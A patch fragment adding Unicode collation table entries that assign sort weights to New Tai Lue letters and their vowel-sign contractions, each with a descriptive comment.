+19B6 1980 ; [.317F.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH QA>
+19B7 1980 ; [.317F.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH QA>
+19BA 1980 ; [.317F.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH QA>
+1981  ; [.3180.0020.0002] # NEW TAI LUE LETTER LOW QA
+19B5 1981 ; [.3180.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW QA>
+19B6 1981 ; [.3180.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW QA>
+19B7 1981 ; [.3180.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW QA>
+19BA 1981 ; [.3180.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW QA>
+1982  ; [.3181.0020.0002] # NEW TAI LUE LETTER HIGH KA
+19B5 1982 ; [.3181.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH KA>
+19B6 1982 ; [.3181.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH KA>
+19B7 1982 ; [.3181.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH KA>
+19BA 1982 ; [.3181.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH KA>
+1983  ; [.3182.0020.0002] # NEW TAI LUE LETTER HIGH XA
+19B5 1983 ; [.3182.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH XA>
+19B6 1983 ; [.3182.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH XA>
+19B7 1983 ; [.3182.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH XA>
+19BA 1983 ; [.3182.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH XA>
+1984  ; [.3183.0020.0002] # NEW TAI LUE LETTER HIGH NGA
+19B5 1984 ; [.3183.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH NGA>
+19B6 1984 ; [.3183.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH NGA>
+19B7 1984 ; [.3183.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH NGA>
+19BA 1984 ; [.3183.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH NGA>
+1985  ; [.3184.0020.0002] # NEW TAI LUE LETTER LOW KA
+19B5 1985 ; [.3184.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW KA>
+19B6 1985 ; [.3184.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW KA>
+19B7 1985 ; [.3184.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW KA>
+19BA 1985 ; [.3184.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW KA>
+1986  ; [.3185.0020.0002] # NEW TAI LUE LETTER LOW XA
+19B5 1986 ; [.3185.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW XA>
+19B6 1986 ; [.3185.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW XA>
+19B7 1986 ; [.3185.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW XA>
+19BA 1986 ; [.3185.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW XA>
+1987  ; [.3186.0020.0002] # NEW TAI LUE LETTER LOW NGA
+19B5 1987 ; [.3186.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW NGA>
+19B6 1987 ; [.3186.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW NGA>
+19B7 1987 ; [.3186.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW NGA>
+19BA 1987 ; [.3186.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW NGA>
+1988  ; [.3187.0020.0002] # NEW TAI LUE LETTER HIGH TSA
+19B5 1988 ; [.3187.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH TSA>
+19B6 1988 ; [.3187.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH TSA>
+19B7 1988 ; [.3187.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH TSA>
+19BA 1988 ; [.3187.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH TSA>
+1989  ; [.3188.0020.0002] # NEW TAI LUE LETTER HIGH SA
+19B5 1989 ; [.3188.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH SA>
+19B6 1989 ; [.3188.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH SA>
+19B7 1989 ; [.3188.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH SA>
+19BA 1989 ; [.3188.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH SA>
+198A  ; [.3189.0020.0002] # NEW TAI LUE LETTER HIGH YA
+19B5 198A ; [.3189.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH YA>
+19B6 198A ; [.3189.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH YA>
+19B7 198A ; [.3189.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH YA>
+19BA 198A ; [.3189.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH YA>
+198B  ; [.318A.0020.0002] # NEW TAI LUE LETTER LOW TSA
+19B5 198B ; [.318A.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW TSA>
+19B6 198B ; [.318A.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW TSA>
+19B7 198B ; [.318A.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW TSA>
+19BA 198B ; [.318A.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW TSA>
+198C  ; [.318B.0020.0002] # NEW TAI LUE LETTER LOW SA
+19B5 198C ; [.318B.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW SA>
+19B6 198C ; [.318B.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW SA>
+19B7 198C ; [.318B.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW SA>
+19BA 198C ; [.318B.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW SA>
+198D  ; [.318C.0020.0002] # NEW TAI LUE LETTER LOW YA
+19B5 198D ; [.318C.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW YA>
+19B6 198D ; [.318C.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW YA>
+19B7 198D ; [.318C.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW YA>
+19BA 198D ; [.318C.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW YA>
+198E  ; [.318D.0020.0002] # NEW TAI LUE LETTER HIGH TA
+19B5 198E ; [.318D.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH TA>
+19B6 198E ; [.318D.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH TA>
+19B7 198E ; [.318D.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH TA>
+19BA 198E ; [.318D.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH TA>
+198F  ; [.318E.0020.0002] # NEW TAI LUE LETTER HIGH THA
+19B5 198F ; [.318E.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH THA>
+19B6 198F ; [.318E.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH THA>
+19B7 198F ; [.318E.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH THA>
+19BA 198F ; [.318E.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH THA>
+1990  ; [.318F.0020.0002] # NEW TAI LUE LETTER HIGH NA
+19B5 1990 ; [.318F.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH NA>
+19B6 1990 ; [.318F.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH NA>
+19B7 1990 ; [.318F.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH NA>
+19BA 1990 ; [.318F.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH NA>
+1991  ; [.3190.0020.0002] # NEW TAI LUE LETTER LOW TA
+19B5 1991 ; [.3190.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW TA>
+19B6 1991 ; [.3190.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW TA>
+19B7 1991 ; [.3190.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW TA>
+19BA 1991 ; [.3190.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW TA>
+1992  ; [.3191.0020.0002] # NEW TAI LUE LETTER LOW THA
+19B5 1992 ; [.3191.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW THA>
+19B6 1992 ; [.3191.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW THA>
+19B7 1992 ; [.3191.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW THA>
+19BA 1992 ; [.3191.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW THA>
+1993  ; [.3192.0020.0002] # NEW TAI LUE LETTER LOW NA
+19B5 1993 ; [.3192.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW NA>
+19B6 1993 ; [.3192.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW NA>
+19B7 1993 ; [.3192.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW NA>
+19BA 1993 ; [.3192.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW NA>
+1994  ; [.3193.0020.0002] # NEW TAI LUE LETTER HIGH PA
+19B5 1994 ; [.3193.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH PA>
+19B6 1994 ; [.3193.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH PA>
+19B7 1994 ; [.3193.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH PA>
+19BA 1994 ; [.3193.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH PA>
+1995  ; [.3194.0020.0002] # NEW TAI LUE LETTER HIGH PHA
+19B5 1995 ; [.3194.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH PHA>
+19B6 1995 ; [.3194.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH PHA>
+19B7 1995 ; [.3194.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH PHA>
+19BA 1995 ; [.3194.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH PHA>
+1996  ; [.3195.0020.0002] # NEW TAI LUE LETTER HIGH MA
+19B5 1996 ; [.3195.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH MA>
+19B6 1996 ; [.3195.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH MA>
+19B7 1996 ; [.3195.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH MA>
+19BA 1996 ; [.3195.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH MA>
+1997  ; [.3196.0020.0002] # NEW TAI LUE LETTER LOW PA
+19B5 1997 ; [.3196.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW PA>
+19B6 1997 ; [.3196.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW PA>
+19B7 1997 ; [.3196.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW PA>
+19BA 1997 ; [.3196.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW PA>
+1998  ; [.3197.0020.0002] # NEW TAI LUE LETTER LOW PHA
+19B5 1998 ; [.3197.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW PHA>
+19B6 1998 ; [.3197.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW PHA>
+19B7 1998 ; [.3197.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW PHA>
+19BA 1998 ; [.3197.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW PHA>
+1999  ; [.3198.0020.0002] # NEW TAI LUE LETTER LOW MA
+19B5 1999 ; [.3198.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW MA>
+19B6 1999 ; [.3198.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW MA>
+19B7 1999 ; [.3198.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW MA>
+19BA 1999 ; [.3198.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW MA>
+199A  ; [.3199.0020.0002] # NEW TAI LUE LETTER HIGH FA
+19B5 199A ; [.3199.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH FA>
+19B6 199A ; [.3199.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH FA>
+19B7 199A ; [.3199.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH FA>
+19BA 199A ; [.3199.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH FA>
+199B  ; [.319A.0020.0002] # NEW TAI LUE LETTER HIGH VA
+19B5 199B ; [.319A.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH VA>
+19B6 199B ; [.319A.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH VA>
+19B7 199B ; [.319A.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH VA>
+19BA 199B ; [.319A.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH VA>
+199C  ; [.319B.0020.0002] # NEW TAI LUE LETTER HIGH LA
+19B5 199C ; [.319B.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH LA>
+19B6 199C ; [.319B.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH LA>
+19DE  ; [.319B.0020.0004][.31B1.0020.0004] # NEW TAI LUE SIGN LAE
+19DF  ; [.319B.0020.0004][.31B1.0020.0004][.31BC.0020.0004] # NEW TAI LUE SIGN LAEV
+19B7 199C ; [.319B.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH LA>
+19BA 199C ; [.319B.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH LA>
+199D  ; [.319C.0020.0002] # NEW TAI LUE LETTER LOW FA
+19B5 199D ; [.319C.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW FA>
+19B6 199D ; [.319C.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW FA>
+19B7 199D ; [.319C.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW FA>
+19BA 199D ; [.319C.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW FA>
+199E  ; [.319D.0020.0002] # NEW TAI LUE LETTER LOW VA
+19B5 199E ; [.319D.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW VA>
+19B6 199E ; [.319D.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW VA>
+19B7 199E ; [.319D.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW VA>
+19BA 199E ; [.319D.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW VA>
+199F  ; [.319E.0020.0002] # NEW TAI LUE LETTER LOW LA
+19B5 199F ; [.319E.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW LA>
+19B6 199F ; [.319E.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW LA>
+19B7 199F ; [.319E.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW LA>
+19BA 199F ; [.319E.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW LA>
+19A0  ; [.319F.0020.0002] # NEW TAI LUE LETTER HIGH HA
+19B5 19A0 ; [.319F.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH HA>
+19B6 19A0 ; [.319F.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH HA>
+19B7 19A0 ; [.319F.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH HA>
+19BA 19A0 ; [.319F.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH HA>
+19A1  ; [.31A0.0020.0002] # NEW TAI LUE LETTER HIGH DA
+19B5 19A1 ; [.31A0.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH DA>
+19B6 19A1 ; [.31A0.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH DA>
+19B7 19A1 ; [.31A0.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH DA>
+19BA 19A1 ; [.31A0.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH DA>
+19A2  ; [.31A1.0020.0002] # NEW TAI LUE LETTER HIGH BA
+19B5 19A2 ; [.31A1.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH BA>
+19B6 19A2 ; [.31A1.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH BA>
+19B7 19A2 ; [.31A1.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH BA>
+19BA 19A2 ; [.31A1.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH BA>
+19A3  ; [.31A2.0020.0002] # NEW TAI LUE LETTER LOW HA
+19B5 19A3 ; [.31A2.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW HA>
+19B6 19A3 ; [.31A2.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW HA>
+19B7 19A3 ; [.31A2.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW HA>
+19BA 19A3 ; [.31A2.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW HA>
+19A4  ; [.31A3.0020.0002] # NEW TAI LUE LETTER LOW DA
+19B5 19A4 ; [.31A3.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW DA>
+19B6 19A4 ; [.31A3.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW DA>
+19B7 19A4 ; [.31A3.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW DA>
+19BA 19A4 ; [.31A3.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW DA>
+19A5  ; [.31A4.0020.0002] # NEW TAI LUE LETTER LOW BA
+19B5 19A5 ; [.31A4.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW BA>
+19B6 19A5 ; [.31A4.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW BA>
+19B7 19A5 ; [.31A4.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW BA>
+19BA 19A5 ; [.31A4.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW BA>
+19A6  ; [.31A5.0020.0002] # NEW TAI LUE LETTER HIGH KVA
+19B5 19A6 ; [.31A5.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH KVA>
+19B6 19A6 ; [.31A5.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH KVA>
+19B7 19A6 ; [.31A5.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH KVA>
+19BA 19A6 ; [.31A5.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH KVA>
+19A7  ; [.31A6.0020.0002] # NEW TAI LUE LETTER HIGH XVA
+19B5 19A7 ; [.31A6.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH XVA>
+19B6 19A7 ; [.31A6.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH XVA>
+19B7 19A7 ; [.31A6.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH XVA>
+19BA 19A7 ; [.31A6.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH XVA>
+19A8  ; [.31A7.0020.0002] # NEW TAI LUE LETTER LOW KVA
+19B5 19A8 ; [.31A7.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW KVA>
+19B6 19A8 ; [.31A7.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW KVA>
+19B7 19A8 ; [.31A7.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW KVA>
+19BA 19A8 ; [.31A7.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW KVA>
+19A9  ; [.31A8.0020.0002] # NEW TAI LUE LETTER LOW XVA
+19B5 19A9 ; [.31A8.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW XVA>
+19B6 19A9 ; [.31A8.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW XVA>
+19B7 19A9 ; [.31A8.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW XVA>
+19BA 19A9 ; [.31A8.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW XVA>
+19AA  ; [.31A9.0020.0002] # NEW TAI LUE LETTER HIGH SUA
+19B5 19AA ; [.31A9.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH SUA>
+19B6 19AA ; [.31A9.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH SUA>
+19B7 19AA ; [.31A9.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH SUA>
+19BA 19AA ; [.31A9.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH SUA>
+19AB  ; [.31AA.0020.0002] # NEW TAI LUE LETTER LOW SUA
+19B5 19AB ; [.31AA.0020.0002][.31B0.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW SUA>
+19B6 19AB ; [.31AA.0020.0002][.31B1.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW SUA>
+19B7 19AB ; [.31AA.0020.0002][.31B2.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW SUA>
+19BA 19AB ; [.31AA.0020.0002][.31B5.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW SUA>
